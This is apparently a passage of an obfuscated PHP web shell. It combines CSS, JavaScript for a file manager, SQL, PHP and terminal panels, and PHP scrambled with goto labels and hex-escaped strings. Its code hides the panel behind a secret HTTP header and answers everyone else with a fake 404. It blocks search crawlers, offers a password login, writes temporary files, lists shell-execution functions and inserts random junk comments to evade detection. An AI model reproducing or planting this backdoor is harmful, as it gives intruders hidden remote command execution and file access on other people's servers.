#c7c7c7}label,select,button{cursor:pointer}button{padding:1px 10px;border-radius:3px}textarea{display:block;flex:1;font:13px/1.5 'Courier New',monospace;background:#fff;resize:none}input[type="text"]{padding:1px 2px;display:block;width:100%;flex:1}input[type="text"]:not(:disabled):focus{background:#fff}input[type="checkbox"]{vertical-align:text-top}input:not(:disabled):hover,select:not(:disabled):hover,button:not(:disabled):hover,input:not(:disabled):focus,select:not(:disabled):focus,button:not(:disabled):focus{background:#f0f0f0;border-color:#a7a7a7}button:not(:disabled):active{background:#e0e0e0;border-color:#a0a0a0 #d0d0d0 #d0d0d0 #a0a0a0}textarea:hover,textarea:focus{border-color:#7f7f7f}#divHdr{position:absolute;top:2px;right:4px;z-index:1}#divBody{position:relative;flex:1}#divFtr{margin:0 2px 3px 2px;clear:both}#divFtr div{flex:1 1 0}#divDtTm{text-align:center}#actLog{display:none;float:right;font-size:20px;line-height:16px}#divMsgs{position:fixed;left:0;right:0;bottom:10px;z-index:999;max-height:20%;overflow-y:auto}#divMsgs div{opacity:0.8}#divMsgs div:hover{opacity:1}.tab,:target ~ #tabInf .tab{display:inline-block;margin:5px 0 0 2px;padding:3px 15px 1px 15px;color:#707070 !important;border:1px solid #d0d0d0;border-bottom:0;border-radius:3px 3px 0 0;background:#e7e7e7}:target .tab,#tabInf .tab{position:relative;margin-bottom:-2px;padding-bottom:3px;z-index:1;color:#000 !important;background:#f7f7f7}.tabPage{display:none;float:left;width:100%;height:100%;flex-direction:column}:target .tabPage,#divInfo.tabPage{display:flex}:target ~ #tabInf>#divInfo.tabPage{display:none}.toolbar,.subbar,.panel{display:flex;border:1px solid #d0d0d0;background:#f7f7f7}.toolbar{margin:1px 0 4px 0;padding:8px 2px 5px 2px;border-width:1px 0;align-items:center;justify-content:space-between}.subbar{margin:-5px 0 4px 0;padding:2px 3px 5px 5px;border-width:0 0 1px 1px;border-radius:0 0 0 4px;align-self:flex-end}.panel{position:relative;margin:0 2px 8px 2px;padding:4px 3px}.arwUp,.arwDwn{display:inline-block;margin:0 0 2px 0;padding:0;border:solid transparent;border-width:4px 5px 4px 5px}.arwUp{border-top:0;border-bottom-color:#000}.arwDwn{border-top-color:#000;border-bottom:0}.spnChrst{display:inline-block;margin:0 0 0 4px;padding:0}.spnChrst .arwUp,.spnChrst .arwDwn{position:relative;margin:0 -16px 2px 2px}.spnChrst select{padding-left:11px}.cntrl{display:inline-block;overflow:hidden;opacity:.5;color:#000;border-radius:5px}.cntrl.arwDwn{margin:0 1px;border-width:7px 6px 0 6px;border-radius:0}.cntrl:hover,.cntrl:focus{opacity:1}.divCntrls .cntrl,#btnSrch{width:18px;height:19px}.divCntrls .cntrl{float:right;margin-top:-1px;font:normal 20px/16px Verdana,sans-serif;text-align:center}.lnkAct:hover{text-decoration:underline}.blink{animation:blink 1s steps(2,start) infinite}@keyframes blink{to{color:transparent}}.modal{display:flex;position:fixed;visibility:hidden;z-index:100;top:50%;left:50%;transform:translateX(-50%) translateY(-50%);padding:3px 3px 5px 3px;flex-direction:column;border:1px solid #fff;background:#f7f7f7;box-shadow:0 0 10px rgba(0,0,0,.5)}.divCntrls{margin-bottom:5px;user-select:none;}.spnTitle{font-weight:bold}.option{display:block;margin:0 2px 10px 2px;flex:1}.option input[type="text"]{margin:1px 0}.option select{display:block;margin:0 1px}.divMsgPrcs,.divMsgErr,.divMsgInf{margin:0 10px 10px 10px;padding:3px 3px 3px 5px;white-space:pre-wrap;border:1px solid;border-radius:3px}.divMsgPrcs{background-image:linear-gradient(#fff,#e0e0e0);border-color:#a0a0a0}.divMsgErr{background-image:linear-gradient(#fff,#ffd0d0);border-color:#ffa0a0}.divMsgInf{background-image:linear-gradient(#fff,#c0c0ff);border-color:#a0a0ff}#divStngs{width:300px}#divLog{width:80%;height:50%}#divLogCntn{overflow-y:auto}.flexRow{display:flex;align-items:center;justify-content:space-between}.unq{color:#7a6f15}#divPagePHP,#frmTrm{position:absolute;padding-bottom:30px}#btnSrch{margin-right:4px}#btnSrch:before,#btnSrch:after{content:'';display:inline-block;border:1px solid}#btnSrch:before{margin:0 0 0 2px;width:8px;height:9px;border-radius:50%}#btnSrch:after{margin:0 0 -5px 0;height:6px;transform:rotate(-45deg)}#btnFastAct{height:19px;margin-left:-4px;padding:1px 5px;border-radius:0 3px 3px 0}#btnFastAct:active{padding:2px 5px 0 5px}#frmFiles{margin:0 2px 10px 2px}#tblFiles{display:none;table-layout:fixed}#tblFiles thead th:first-of-type,#tblFiles td:first-of-type{padding:0;text-align:center}#tblFiles td:nth-of-type(3){white-space:nowrap}#tblFiles td:nth-of-type(4){text-align:right}#tblFiles td:nth-of-type(n+5){text-align:center}#txtClpbrd{position:fixed;top:-1px;left:-1px;margin:0;padding:0;width:1px;height:1px;border:0}#frmLnk,.frmFilesPrps{width:700px}#frmSrch{width:570px}#frmBuffer,.frmFile{width:800px;height:80%}.frmFile{min-width:400px;min-height:150px;overflow:auto;resize:both}.spcrFlex{border:0;flex:1}.spcr20{border:0;width:20px}.noFlex .option{flex:initial}.spnBtnSbMn{position:relative}.btnSbMn{width:75px}.divSbMn{display:none;position:absolute;top:100%;right:3px;margin-top:-1px;width:73px;z-index:1;border:1px solid #c7c7c7;background:#efefef}.aMnItm{display:block;margin:1px;padding:2px 4px}.aMnItm:hover{background:#e0e0e0}.thPth{padding:8px 0 4px 0;background:#f0f0f0}.spnPth{display:inline-block;font:14px/1.4 'Courier New',monospace}.spnPth:hover ~ .spnPth{color:#cfcfcf}.tdUp{transform:rotate(180deg)}.lnkBlck{display:block;white-space:pre-wrap;word-break:break-all;min-height:1em}.lnk:after{content:'\21B5';float:right}.mrkd{text-decoration:underline}.prm0,.prm1,.prm2,.prm3{font:12px 'Courier New',monospace}.prm0{color:red !important}.prm2{color:#2b2bb2 !important}.prm3{color:#00aa00 !important}#tabSQL .toolbar input[type="text"]{margin:1px 4px}#divSQLWrpLeft{display:none;float:left;width:25%}#divSQLWrpRight{float:right;width:75%;padding-left:5px}#divSchm{position:static;white-space:nowrap;width:100%;overflow-x:hidden}.divItm{margin-bottom:2px}.actRe{margin:0 1px -3px 0;width:16px;height:14px;font:normal 19px/10px Verdana,sans-serif;border:1px solid transparent}.aMore{margin:0 1px}/*.aMore:hover{position:absolute;padding-right:3px;border-radius:3px;background:#f7f7f7;z-index:90}*/.spnRC{position:relative;float:right;margin-left:-100%;padding-left:5px;color:#0000cc;background:rgba(247,247,247,.85)}.divLst{margin:2px 0 10px 15px}.divFldTp{height:1.5em;margin:0 0 0 18px;color:#afafaf;font-size:xx-small}.divFldTp,.divItm{text-overflow:ellipsis;overflow:hidden}#frmSQL,#frmPg{display:none}#divCptn{margin:0 4px 2px 4px;font-style:italic}#divData{margin:0 4px 4px 0;overflow:auto}#divDump{justify-content:center;align-items:center}#tblHead,#tblData{margin:0 auto;width:auto}#frmPg input[type="text"]{display:inline-block;width:auto}#frmPHP{margin-bottom:3px}.cmpsRow:before,.cmpsCol:before{margin:0 2px 0 1px;font-size:15px;line-height:0}.cmpsRow:before{content:'\2B12'}.cmpsCol:before{content:'\25E7'}#sbmPHP{margin-left:15px}#divPHP{display:flex;flex:1 1 0;overflow:hidden}#txtPHP{color:#0d0d0d;background:#fff}#prePHP{margin:2px;padding:2px 4px;flex:1 0 0;overflow:auto;background:#fff;border:1px solid #c7c7c7}#divTrm::selection{background:#f0f0f0}#divTrm,#preTrm,#inpTrm{color:#0d0d0d;font:12px/18px 'Courier New',monospace;background:#fff}#divTrm{margin:0 2px 1px 2px;padding:4px;flex:1 1 0;overflow:auto;border:1px solid #f0f0f0}#preTrm,#inpTrm{margin:0;padding:0}#preTrm{white-space:pre-wrap;-moz-tab-size:4;tab-size:4}#inpTrm{border:0}#inpTrm:focus{box-shadow:none}#tblInf{margin:4px 2px 10px 2px;width:auto}#tblInf th,#tblInf td{vertical-align:top}#tblInf th{width:1%;padding-right:10px;text-align:left;white-space:nowrap}#tblInf th:only-child{height:3em;text-align:center;vertical-align:bottom;border:none;background:#F0F0F0}#tblInf td{white-space:pre-wrap;word-break:break-all}</style>



<script>HTMLSelectElement.prototype.__defineGetter__('textValue', function() {
 return this.options[this.selectedIndex].label;
});
var mdlWndws = [],
 tmShft = <?php  goto y_1e6; uVEHS: function getPreLen() { return substr(array_sum(str_split(hash($GLOBALS["\x48\x41\123\110\x54\131\120\x45"], __FILE__))), -1) + 5; } goto Qw5cs; ElmAk: if (NIX) { ?>
 <hr class="spcr20"/><label class="option">Permission<input type="text"size="1"name="e"/></label><hr class="spcr20"/><label class="option">Owner<input type="text"size="1"name="o"/></label><hr class="spcr20"/><label class="option">Group<input type="text"size="1"name="r"/></label></div><div class="flexRow"> <?php  } goto pYW3v; s1vdE: if (PHP_VERSION >= "\64\x2e\63") { $a[] = "\160\x72\x6f\143\137\x6f\x70\x65\156"; } goto zOpQl; EAfVP: echo VER; goto h9kGz; FRXQl: function escFileName($v) { return str_replace(array("\x25", "\x2f", "\134", "\x3a", "\52", "\77", "\x22", "\74", "\x3e", "\x7c"), array("\45\62\x35", "\xe2\x95\xb1", "\342\225\xb2", "\xea\236\211", "\xe2\210\227", "\45\63\106", "\xe2\x80\237", "\x25\x33\x43", "\x25\x33\x45", "\xe2\x88\xa3"), $v); } goto je63D; wsDu2: function tempFile($v) { if (($n = tempnam(NIX ? "\x2f\164\155\x70" : "\x63\72\134\x54\x65\x6d\x70", '')) && writeFile($n, $v)) { return $n; } $a = array("\165\x70\x6c\x6f\141\x64\137\x74\x6d\x70\x5f\144\151\x72", "\163\x65\x73\163\151\157\x6e\x2e\163\x61\x76\145\x5f\x70\x61\164\150", "\165\163\145\x72\x5f\x64\151\162", "\x64\x6f\143\137\x72\x6f\157\x74"); foreach ($a as $k) { if ($n = ini_get($k)) { $n .= DSC . tempName(); if (writeFile($n, $v)) { return $n; } } } $n = selfPath() . tempName(); if (writeFile($n, $v)) { return $n; } return FALSE; } goto BUsSa; Ra745: ?>

function addSortToFM(){
	var fmTblCols = document.getElementById('tblFiles').children[0].children[0].children;

	for(i = 0; i <= fmTblCols.length; i++){
		if(fmTblCols[i] && fmTblCols[i].textContent){
			var name = fmTblCols[i].textContent.toLowerCase();
			fmTblCols[i].style = fmTblCols[i].style + '; cursor: pointer;';
			fmTblCols[i].title = 'Sort files by ' + name;
			fmTblCols[i].setAttribute('onclick', 'sortFilesBy("' + name + '");');
		}
	}
}

function sortFilesBy(name){
	var sorts = {'nam': '1','ext': '2','siz': '11','mod': '12','per': '14','own': '15'};
	var sort = sorts[name.substr(0, 3)];
	if(sort){
		fmSort = [(sort == fmSort[1] && fmSort[0] != -1 ? -1 : 1), sort];
		goTo(document.getElementById('frmFM').p.value);
	}
}

addSortToFM();

window.location = '#<?php  goto cYM70; uzj97: ob_start(); goto wL14E; oHfwf: ?>
"class="thPth"></th></tr><tr><td class="tdUp"><input type="hidden"/>&#x21b4;</td><td colspan="<?php  goto kYUjf; Qw5cs: function filterClient() { $secretHeader = isset($_SERVER["\x48\x54\124\120\137" . $GLOBALS["\x53\105\x43\110\x45\101\104"]]); $crawlerBot = preg_match("\57\x62\x6f\164\x7c\x63\162\141\x77\154\174\x73\x70\151\x64\145\162\x2f\151", $_SERVER["\110\x54\x54\x50\x5f\x55\x53\x45\x52\137\x41\x47\105\116\x54"]); if ($crawlerBot || !$secretHeader) { die(header("\110\x54\124\x50\x2f\61\x2e\x31\x20\64\60\x34\x20\116\x6f\164\40\x46\157\165\x6e\x64")); } } goto ZgCbE; fZnG8: scriptInit(); goto qH6mN; rYG4X: foreach ($C as $k => $v) { echo "\74\157\160\164\151\x6f\x6e\40\x76\x61\x6c\165\145\75\42", $k, "\42\x3e", $v, "\74\57\157\160\x74\x69\157\156\x3e"; } goto HY8s3; rCOs1: ?>
 - Date.now(),
 exeFuncs = [], fmSort = [1, 1],
 spnDtTm;
document.addEventListener('DOMContentLoaded', function() {
 if (sessionStorage.getItem('uiRszBody')) document.body.style.width = '100%';
 var e = elmById('dataExe').textContent.split('\n');
 for (var i = 0, c = e.length - 1; i < c; i += 4) {
  var v = e[i].trimRight().split(':');
  if(e[i + 1] && e[i + 2] && e[i + 2])
	exeFuncs.push([v[0], v[1], e[i + 1].trimRight() + '@' + e[i + 2].trimRight(), e[i + 3].trimRight()]);
 }
 e = elmById('frmCstEnv');
 if (exeFuncs.length > 0) {
  strgRstrChck('envCstm', e.e);
  for (var i = 0, c = exeFuncs.length, v = sessionStorage.getItem('envFunc') | 0; i < c; ++i) {
   var opt = new Option(exeFuncs[i][1], exeFuncs[i][0]);
   if (exeFuncs[i][0] == v) opt.selected = true;
   e.f.add(opt);
  }
  strgRstrVal('envShell', e.s);
  strgRstrVal('envIntrPth', e.i);
  strgRstrChck('envIntrOptN', e.n);
  strgRstrChck('envIntrOptC', e.c);
 } else {
  elmById('fldEnv').disabled = true;
  e.e.disabled = true;
 }
 strgRstrChck('ro', 'cbRO');
 strgRstrChck('rr', 'cbRR');
 strgRstrChck('tm', 'cbTM');
 strgRstrChck('oi', 'cbOI');
 fmRestoreState();
 sqlRestoreState();
 phpRestoreState();
 trmRestoreState();
 spnDtTm = elmById('divDtTm').firstChild;
 uiUpdDtTm();
 setInterval(uiUpdDtTm, 1500);
}, false);
window.onbeforeunload = function() {
 strgSaveBool('uiRszBody', document.body.style.width === '100%');
 if (exeFuncs.length > 0) {
  var e = elmById('frmCstEnv');
  strgSaveBool('envCstm', e.e.checked);
  strgSaveOpt('envFunc', e.f.value);
  strgSaveStr('envShell', e.s.value);
  strgSaveStr('envIntrPth', e.i.value);
  strgSaveBool('envIntrOptN', e.n.checked);
  strgSaveBool('envIntrOptC', e.c.checked);
 }
 strgRstrChck('ro', 'cbRO');
 strgRstrChck('rr', 'cbRR');
 strgRstrChck('tm', 'cbTM');
 strgRstrChck('oi', 'cbOI');
 fmSaveState();
 sqlSaveState();
 phpSaveState();
 trmSaveState();
};

function elmById(v) {
 return document.getElementById(v);
}

function newElm(tag, attr) {
 var e = document.createElement(tag);
 for (var k in attr) e[k] = attr[k];
 return e;
}

function strgRstrVal(opt, elm) {
 opt = sessionStorage.getItem(opt);
 if (opt === null) return;
 if (typeof elm === 'string') elm = elmById(elm);
 elm.value = opt;
}

function strgRstrArr(n) {
 var val = sessionStorage.getItem(n);
 return val === null ? [] : JSON.parse(val);
}

function strgRstrChck(opt, elm) {
 if (sessionStorage.getItem(opt) === null) return;
 if (typeof elm === 'string') elm = elmById(elm);
 elm.checked = true;
}

function uiKeyDwn(e) {
 e = e || window.event;
 var c = mdlWndws.length;
 if (c === 0) return;
 if (e.which === 27)
  for (var i = c - 1; i >= 0; --i) {
   if (mdlWndws[i].clientTop) return mdlWndws[i].firstChild.childNodes[1].onclick();
  } else if (c > 1 && e.altKey === true && e.which === 84)
   for (var i = 0; i < c; ++i)
    if (mdlWndws[i].clientTop && i + 1 < c) {
     mdlWndws[i].style.zIndex = (mdlWndws[c - 1].style.zIndex | 0) + 1;
     mdlWndws.push(mdlWndws.splice(i, 1)[0]);
     return;
    }
}

function uiUpdDtTm() {
 var v = new Date(Date.now() + tmShft).toISOString();
 v = v.slice(0, 10) + ' ' + v.slice(11, 13) + '<span class="blink">:</span>' + v.slice(14, 16);
 if (spnDtTm.innerHTML !== v) spnDtTm.innerHTML = v;
}

function strgSaveArr(n, v) {
 if (v.length) sessionStorage.setItem(n, JSON.stringify(v));
 else sessionStorage.removeItem(n);
}

function strgSaveBool(n, v) {
 if (typeof v === 'string') v = elmById(v).checked;
 if (v) sessionStorage.setItem(n, 1);
 else sessionStorage.removeItem(n);
}

function strgSaveStr(n, v) {
 if (v === '') sessionStorage.removeItem(n);
 else sessionStorage.setItem(n, v);
}

function strgSaveOpt(n, v) {
 if (v !== '' && v !== 'UTF-8') sessionStorage.setItem(n, v);
 else sessionStorage.removeItem(n);
}

function uiRszBody() {
 var s = document.body.style;
 s.width = s.width === '100%' ? '' : '100%';
 return false;
}

function uiRsz(e) {

 if(typeof e === 'string') e = elmById(e);

 var s = e.style;
 var cr = JSON.parse(e.getAttribute('cr'));

 if (s.width === '100%'){
    if(typeof cr != null){
        s.width = cr.width;
        s.height = cr.height;
        s.top = cr.top + (cr.height / 2);
        s.left = cr.left + (cr.width / 2);
    }
    else{
      s.width = '';
      s.height = '';
    }
 }
 else{
	e.setAttribute('cr', JSON.stringify(e.getBoundingClientRect()));
    s.top = s.left = '';
    s.width = s.height = '100%';
 }

 return false;
}

function uiDelMsg(div) {
 elmById('divMsgs').removeChild(div);
 return false;
}

function setMsgTmr(div) {
 var fnc = uiDelMsg.bind(null, div),
  tmr = setTimeout(fnc, 5000);
 div.onmouseover = function() {
  clearTimeout(tmr);
 };
 div.onmouseout = function() {
  tmr = setTimeout(fnc, 5000);
 };
}

function uiClsMsg() {
 return uiDelMsg(this.parentNode);
}

function uiMsg(msg, type) {
 if (!type) {
  type = 'Prcs';
  msg += ' \u2026';
 }
 var div = newElm('div', {
  className: 'divCntrls divMsg' + type
 });
 div.appendChild(newElm('a', {
  href: '#',
  className: 'cntrl',
  textContent: '\u00D7',
  onclick: uiClsMsg
 }));
 div.appendChild(document.createTextNode(msg));
 var elm = elmById('divMsgs');
 elm.insertBefore(div, elm.firstChild);
 if (type !== 'Prcs') setMsgTmr(div);
 return div;
}

function uiChngMsg(div, msg, type) {
 div.firstChild.onclick = uiClsMsg;
 div.lastChild.textContent = msg;
 div.className = 'divMsg' + type;
 setMsgTmr(div);
 var elm = elmById('actLog').style;
 if (elm.display !== 'inline-block') elm.display = 'inline-block';
 elm = elmById('divLogCntn');
 elm.insertBefore(newElm('div', {
  className: 'divMsg' + type,
  textContent: '(' + utsToStr(Date.now() / 1000) + ') ' + msg
 }), elm.firstChild);
 return false;
}

function uiNetErrMsg(div) {
 uiChngMsg(div, 'Network error\n' + div.lastChild.textContent.slice(0, -2), 'Err');
}

function uiShwModal(elm) {
 if (typeof elm === 'string') elm = elmById(elm);
 if (elm.style.visibility === 'visible') return false;
 elm.style.zIndex = mdlWndws.length === 0 ? 100 : (mdlWndws[mdlWndws.length - 1].style.zIndex | 0) + 1;
 elm.style.visibility = 'visible';
 mdlWndws.push(elm);
 elm.focus();
 return false;
}

function uiActvModal(evnt) {
 var elm = evnt.currentTarget,
  n = mdlWndws.indexOf(elm);
 if (n !== -1) {
  var i = mdlWndws.length - 1;
  if (mdlWndws[i] !== elm) {
   elm.style.zIndex = (mdlWndws[i].style.zIndex | 0) + 1;
   mdlWndws.splice(n, 1);
   mdlWndws.push(elm);
  }
 }
 if (evnt.target.tagName === 'SPAN' || evnt.target.tagName === 'DIV') {
  elm.style.cursor = 'move';
  var dx = evnt.pageX - elm.offsetLeft,
   dy = evnt.pageY - elm.offsetTop;
  document.onmousemove = function(e) {
   elm.style.left = (e.clientX - dx) + 'px';
   elm.style.top = (e.clientY + window.pageYOffset - dy) + 'px';
  };
  document.onmouseup = function() {
   document.onmousemove = null;
   document.onmouseup = null;
   elm.style.cursor = '';
  };
  evnt.preventDefault();
  evnt.stopPropagation();
  return false;
 }
}

function uiClsModal(elm) {
 if (typeof elm === 'string') elm = elmById(elm);
 elm.style.visibility = 'hidden';
 mdlWndws.splice(mdlWndws.indexOf(elm), 1);
 return false;
}

function uiSlctTxt(id) {
 var r = document.createRange(),
  s = window.getSelection();
 r.selectNode(elmById(id));
 s.removeAllRanges();
 s.addRange(r);
}

function utsToStr(v) {
 if (v < 1) return '?';
 v = new Date(v * 1000).toISOString();
 return v.slice(0, 10) + ' ' + v.slice(11, 19);
}

function clnLog() {
 elmById('actLog').style.display = 'none';
 elmById('divLog').style.visibility = 'hidden';
 var div = elmById('divLogCntn');
 for (var i = div.childNodes.length - 1; i >= 0; --i) div.removeChild(div.childNodes[i]);
 return false;
}
var DS = '<?php  goto xwY0G; ijdF3: function writeFile($p, $c) { if ($v = fopen($p, "\x77\x62")) { flock($v, LOCK_EX); fwrite($v, $c); fflush($v); flock($v, LOCK_UN); fclose($v); return TRUE; } if (PHP_VERSION >= "\x35") { $v = file_put_contents($p, $c); if (is_int($v)) { return TRUE; } } if (PHP_VERSION >= "\65") { if (PHP_VERSION >= "\65\56\x31") { try { $v = new SplFileObject($p, "\167\x62"); } catch (Exception $e) { $v = FALSE; } if ($v) { $v->flock(LOCK_EX); $v->fwrite($c); $v->fflush(); $v->flock(LOCK_UN); unset($v); return TRUE; } } } return FALSE; } goto A5hck; FhPai: ?>
</select></span><span class="spnChrst"title="Load as..."><hr class="arwDwn"/> <select id="fmCSLoad"><?php  goto nJCvK; j2VKF: if (NIX) { echo "\x2c\x65\x3a\x27\160\x65\162\x6d\x69\x73\x73\151\157\156\163\47\x2c\x6f\72\x27\157\x77\x6e\145\x72\47\x2c\162\x3a\x27\147\162\x6f\165\160\47"; } goto ASpfA; wdI5q: if (isset($_SERVER["\110\124\124\x50\x5f\x48\x4f\123\x54"])) { echo escHTML($_SERVER["\110\x54\124\120\137\x48\x4f\x53\x54"]); } elseif (isset($_SERVER["\123\105\122\x56\x45\122\137\x4e\101\x4d\105"])) { echo escHTML($_SERVER["\x53\x45\122\126\105\x52\x5f\x4e\x41\x4d\105"]); } goto yR2aE; BNZPY: if (NIX) { ?>
<th width="155px">Owner</th><?php  } goto A_5i2; h9kGz: ?>
</a></div><div id="divDtTm"title="Server Time"><span></span></div><div><a href="#"id="actLog"title="Message log"onclick="return uiShwModal('divLog')">&#x26A0;</a></div></div><div class="modal"onmousedown="uiActvModal(event)"id="divStngs"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Settings</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('divStngs')">&#x00D7;</a></div>	<label class="option"><input onclick="COOKIE = (this.checked ? 1 : 0)" type="checkbox" id="cbCO"/> Use cookie to request</label>	<label class="option"><input type="checkbox" id="cbRR"/> Skip request encoding</label><label title="Raw Output mode for big files.&#10;Skip response encoding ('ob_*')." class="option"><input type="checkbox" id="cbRO"/> Skip response encoding</label><label title="Shown in File Manager" class="option"><input type="checkbox" id="cbTM"/> <b>ctime</b> instead of <b>mtime</b></label><label class="option"><input type="checkbox" id="cbOI"/> <b>iframe</b> instead of <b>xhr</b></label><form id="frmCstEnv"onsubmit="return false"><fieldset id="fldEnv"><legend><label><input type="checkbox"id="e"/> Run in custom environment</label></legend><label>Function: <select name="f"></select></label><label class="option">Shell: <input type="text"name="s"placeholder="<?php  goto vrt7v; ZgCbE: function loginFormOut() { $html = "\74\150\x74\x6d\x6c\x3e\74\150\x65\141\x64\76\74\155\145\164\x61\40\x6e\x61\x6d\x65\75\x22\x72\x6f\x62\157\164\163\42\x20\143\157\156\x74\x65\156\164\x3d\x22\156\x6f\151\156\x64\x65\170\42\76\74\x2f\x68\145\x61\144\76\74\x62\x6f\144\x79\x20\x73\x74\171\x6c\x65\75\x22\142\141\x63\x6b\x67\x72\157\165\x6e\144\x3a\x23\146\x30\146\x30\x66\60\73\x64\x69\x73\160\154\141\x79\72\x67\x72\x69\x64\73\150\x65\151\147\150\164\72\x31\x30\60\166\150\73\x6d\141\x72\x67\x69\x6e\72\60\73\x70\154\x61\143\x65\x2d\151\164\x65\x6d\163\x3a\x63\145\156\164\x65\x72\x20\143\145\x6e\164\145\162\73\x22\x3e\x3c\146\157\162\x6d\x20\x61\143\x74\x69\x6f\x6e\75\x22\42\40\x6d\145\164\x68\157\144\75\42\120\117\x53\124\42\x20\x6f\156\163\x75\x62\x6d\x69\x74\x3d\x22\x72\x65\x74\x75\x72\x6e\40\154\157\147\x69\x6e\x28\164\150\x69\163\51\42\x3e\74\151\x6e\x70\165\164\40\163\x74\x79\154\145\x3d\x22\x74\145\170\x74\x2d\x61\154\151\x67\156\x3a\40\x63\x65\156\164\x65\x72\x22\x20\156\141\155\145\75\x22\x70\141\x73\163\x22\x20\x74\x79\160\145\x3d\x22\x70\x61\x73\163\x77\157\x72\144\x22\40\166\141\154\x75\145\75\42\42\76\74\x2f\146\157\162\x6d\76\74\x2f\x62\x6f\144\171\x3e" . paramsHandlerJS() . "\x3c\x2f\150\x74\x6d\x6c\76"; die(makeOut($html)); } goto mLSkC; u1z67: function c($s = '', $n = 0) { $r = array("\57", "\76", "\52"); return rand($n, 1) ? "\x3c\41\55\x2d" . str_replace($r, '', j(1)) . "\x2d\x2d\76" . (strlen($s) ? $s . (rand(0, 1) ? "\x3c\x21\x2d\x2d" . str_replace($r, '', j(1)) . "\55\x2d\76" . "\12" : '') : '') : $s; } goto tn7NP; FMHLc: $GLOBALS["\x44\105\106\101\125\x4c\124\x5f\124\x41\102"] = "\x74\x61\142\111\x6e\146"; goto T3Gi3; eAkgp: define("\x52\117", isset($D["\x72\x6f"]) ? true : false); goto zKHge; nkF5N: if (!NIX && defined("\x43\114\x53\103\x54\x58\137\x41\x4c\x4c")) { $a[10] = "\x63\157\155"; } goto J0PNS; y3G4I: $GLOBALS["\x48\x41\123\110\x54\131\120\105"] = "\x73\150\141\65\x31\62"; goto LbO1d; djmPo: $ico = $_SERVER["\104\x4f\x43\125\x4d\x45\x4e\x54\x5f\122\117\117\124"] . "\x2f\x66\141\166\x69\143\x6f\156\56\x69\x63\x6f"; goto voBZd; LS2K7: if (NIX) { ?>
os[f[5]] = f[7];
 gs[f[6]] = f[8];
 f.splice(7, 2);
 <?php  } goto mMW9h; pONv0: echo NIX ? "\157\x2d\x4f\x53\x20\111\144\x65\156\164\151\x66\x69\x63\x61\164\151\157\x6e\73\134\156\40\154\55\x4c\x61\156\x67\163\73\134\156\x20\x63\55\103\x50\125\73\134\x6e\x20\162\55\x43\x72\x6f\x6e\73\x5c\x6e\x20\150\55\110\151\x73\164\x6f\162\x69\x65\x73\73\134\156\x20\146\x2d\106\x69\154\x65\40\x53\171\x73\x74\145\x6d\73\134\x6e\40\163\55\123\x55\111\x44\x20\x46\151\154\145\163\x3b\134\x6e" : "\x73\55\123\171\x73\164\x65\155\x20\111\156\x66\x6f\73\x5c\156\40\x74\55\x54\x61\163\x6b\x73\x3b\x5c\x6e\x20\x72\x2d\123\x68\141\162\x65\73\134\156"; goto HPJQi; bB1qC: ?>
 'z', 't', 'x', 'v']; i < 5; ++i) frm[a[i]].disabled = isDir;
}

function uiShwFrmSrch() {
 var frm = elmById('frmSrch'),
  elm = frm.elements[0];
 if (elm.value === '') elm.value = elmPth.placeholder;
 uiShwModal(frm);
 return false;
}

function updFrmFile(frm, file, cntnt, chrst) {
 if (file[1] !== null) {
  var elm = frm.firstChild.firstChild;
  switch (file[1]) {
   case 3:
    elm.textContent = 'Full Access';
    break;
   case 2:
    elm.textContent = 'Writable';
    break;
   case 1:
    elm.textContent = 'Read Only';
    break;
   case 0:
    elm.textContent = 'Who Do You Voodoo, Bitch?';
    break;
  }
  elm.className = 'spnTitle prm' + file[1];
 }
 frm.elements[0].value = cntnt;
 var elm = frm.elements[1];
 elm.value = file[0];
 elm.placeholder = file[0];
 chrst = chrst.toLowerCase();
 for (var i = frm.c.options.length - 1; i >= 0; --i)
  if (frm.c.options[i].label.toLowerCase() === chrst) {
   frm.c.selectedIndex = i;
   break;
  }
}

function tbdyByPath(pth) {
 for (var i = 0, c = elmTblFiles.tBodies.length; i < c; ++i)
  if (elmTblFiles.tBodies[i].rows[0].cells[0].textContent === pth) return elmTblFiles.tBodies[i];
 return null;
}

function isInsPos(file, cells) {
 var fF = file[1] !== null,
  rF = cells[3].firstChild.textContent !== '[ DIR ]';
 if (fF && rF) {
  var by = (fmSort[0] < 3 ? fmSort[0] : 1);
  var fExt = file[0][by],
   rExt = cells[by].firstChild.textContent;
  if (fExt !== rExt) return rExt > fExt;
 } else if (fF) return false;
 else if (rF) return true;
 return cells[1].firstChild.textContent > file[0][1];
}

function updTblFiles(data, ownrs, grps) {
 var tbdyCnt = elmTblFiles.tBodies.length,
  bpth = data.p,
  files = data.f;
 if (tbdyCnt === 0) return;
 files.map(parseName);
 files.sort(cmprFiles);
 for (var i = 0, c = files.length; i < c; ++i) {
  var file = files[i],
   fpth = bpth + file[0][0],
   lpth = file.length % 2 == 0 ? canonPath(file.slice(-1)[0], bpth) : null,
   ogn = <?php  goto QoO1P; NKlSo: filterClient(); goto q5ODO; hfGfr: foreach ($C as $k => $v) { echo "\74\157\160\x74\151\x6f\156\40\x76\x61\x6c\x75\145\x3d\42", $k, "\x22\76", $v, "\x3c\x2f\157\x70\x74\151\x6f\156\x3e"; } goto QqiLl; N7XEz: define("\104\123\103", DIRECTORY_SEPARATOR); goto IiLfv; MxV1r: function i($s, $m, $x) { $s = str_split($s, rand($m, $x)); if ($m > 50) { $s[0] = trim(i($s[0], 1, 5, true), "\x22\x27"); } return implode("\x2b", array_map(function ($k) { $r = date("\x48") > 12; return ($r ? "\42" : "\47") . $k . ($r ? "\x22" : "\x27"); }, $s)); } goto u1z67; RGiWO: foreach ($C as $k => $v) { echo "\74\157\160\x74\x69\x6f\156\40\166\141\x6c\165\x65\x3d\x22", $k, "\x22\76", $v, "\74\57\x6f\x70\x74\151\x6f\156\76"; } goto xTdkr; QKFKI: function paramsHandlerJS() { return "\74\x73\143\x72\151\x70\x74\76\12\11\11\x76\x61\x72\x20\x45\x4e\103\113\x45\x59\x20\x3d\x20\141\164\x6f\142\50\42" . base64_encode($GLOBALS["\105\116\x43\x4b\105\131"]) . "\x22\51\73\12\11\x9\x76\141\162\40\120\x52\105\x4c\x45\x4e\x20\75\x20" . $GLOBALS["\x50\x52\x45\114\x45\116"] . "\73\xa\x9\x9\166\141\x72\x20\x43\117\117\x4b\111\x45\x20\x3d\40" . (int) $GLOBALS["\x43\117\x4f\113\x49\x45"] . "\73\12\12\11\x9" . ($GLOBALS["\104\101\x52\113"] ? 